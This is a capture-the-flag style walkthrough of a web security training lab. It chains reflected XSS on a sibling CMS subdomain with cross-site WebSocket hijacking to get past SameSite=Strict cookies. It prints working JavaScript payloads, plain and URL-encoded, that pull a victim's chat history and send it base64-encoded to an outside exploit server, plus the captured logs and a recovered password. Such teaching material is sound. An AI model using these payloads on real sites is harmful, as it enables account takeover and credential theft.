SameSite Strict bypass via sibling domain

Description

This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.

To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.

If you haven't done so already, we recommend completing our topic on WebSocket vulnerabilities before attempting this lab.

Approach

After accessing the lab, I went straight to the chat page while proxying my requests through Burp Suite. In the HTTP history, I saw an interesting request pointing to a JavaScript file:

GET /resources/js/chat.js HTTP/2
Host: 0ad4007903f8d8e98161768200ba008b.web-security-academy.net
Cookie: session=mRalVx3cATzBc9BXw2TvRVAPa2lUEEfs
...

Two things stood out in the response:

1. Access-Control-Allow-Origin header: This header pointed to another domain, https://cms-0ad4007903f8d8e98161768200ba008b.web-security-academy.net.

2. function openWebSocket(): This function indicated the presence of WebSockets, suggesting that the live chat functionality is WebSocket-based.

I decided to check the WebSocket history in Burp Suite to see if I could find anything interesting. I discovered that sending the READY command to the WebSocket server would respond with the full chat history, providing a way to retrieve the victim's chat history.

Next, I wrote a simple exploit and hosted it on my exploit server. This script, when visited by the victim, would start a WebSocket connection with the chat server, send the READY command, and then send the received data to my exploit server.

Here is the script:

<script>
    var ws = new WebSocket('wss:/0ad4007903f8d8e98161768200ba008b.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://exploit-0a8b00510305d891817c750d01480033.exploit-server.net/exploit?recieved_data='+btoa(event.data));
    };
</script>

After storing this script and delivering it to the victim, I checked the logs on my exploit server and found a request with base64 encoded data:

GET /exploit?recieved_data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9

Decoding this data in Burp's decoder revealed:

{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}

This indicated the start of the WebSocket connection but no chat history. I realized the victim's cookie did not get through to the chat endpoint due to the SameSite=Strict attribute, which prevents cookies from being sent in cross-site requests.

To bypass this restriction, I utilized the domain found in the Access-Control-Allow-Origin header. The lab URL was:

https://0ad4007903f8d8e98161768200ba008b.web-security-academy.net/chat

The CMS URL was:

https://cms-0ad4007903f8d8e98161768200ba008b.web-security-academy.net

These URLs have different origins but the same site, web-security-academy.net. This allows for cross-site WebSocket hijacking.

Visiting the CMS URL, I found a login form that reflected the username in a paragraph tag:

<p>Invalid username: ichyaboy</p>

Testing with a simple XSS payload (<script>alert(1)</script>), I confirmed it worked, even though the form sent a POST request. By changing the method to GET, I ensured the exploit could work.

Here’s the crafted exploit payload:

<script>
    document.location = "https://cms-0ad4007903f8d8e98161768200ba008b.web-security-academy.net/login?username=<script>
    var ws = new WebSocket('wss:/0ad4007903f8d8e98161768200ba008b.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://exploit-0a8b00510305d891817c750d01480033.exploit-server.net/exploit?recieved_data='+btoa(event.data));
    };
</script>&password=Welcome2024";
</script>

Of course i need to URL encode my script so it doesn't create any errors, so my final payload should be:

<script>
    document.location = "https://cms-0ad4007903f8d8e98161768200ba008b.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%30%61%64%34%30%30%37%39%30%33%66%38%64%38%65%39%38%31%36%31%37%36%38%32%30%30%62%61%30%30%38%62%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%38%62%30%30%35%31%30%33%30%35%64%38%39%31%38%31%37%63%37%35%30%64%30%31%34%38%30%30%33%33%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%72%65%63%69%65%76%65%64%5f%64%61%74%61%3d%27%2b%62%74%6f%61%28%65%76%65%6e%74%2e%64%61%74%61%29%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=Welcome2024";
</script>

After pasting this script into my exploit server and delivering it to the victim, I checked my exploit server logs and found these requests:

GET /exploit?recieved_data=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ== 
GET /exploit?recieved_data=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0= 
GET /exploit?recieved_data=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgZ3RzMmR5cWRvODRkcWJ1Znh2OHAifQ== 
GET /exploit?recieved_data=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9 
GET /exploit?recieved_data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9 

Decoding these data in Burp's decoder revealed the full chat history of Carlos:

{"user":"Hal Pline","content":"Hello, how can I help?"} 
{"user":"You","content":"I forgot my password"} 
{"user":"Hal Pline","content":"No problem carlos, it's gts2dyqdo84dqbufxv8p"} 
{"user":"You","content":"Thanks, I hope this doesn't come back to bite me!"} 
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"} 

I could clearly see Carlos's password. By simply logging in with that password as the Carlos user, the lab was solved.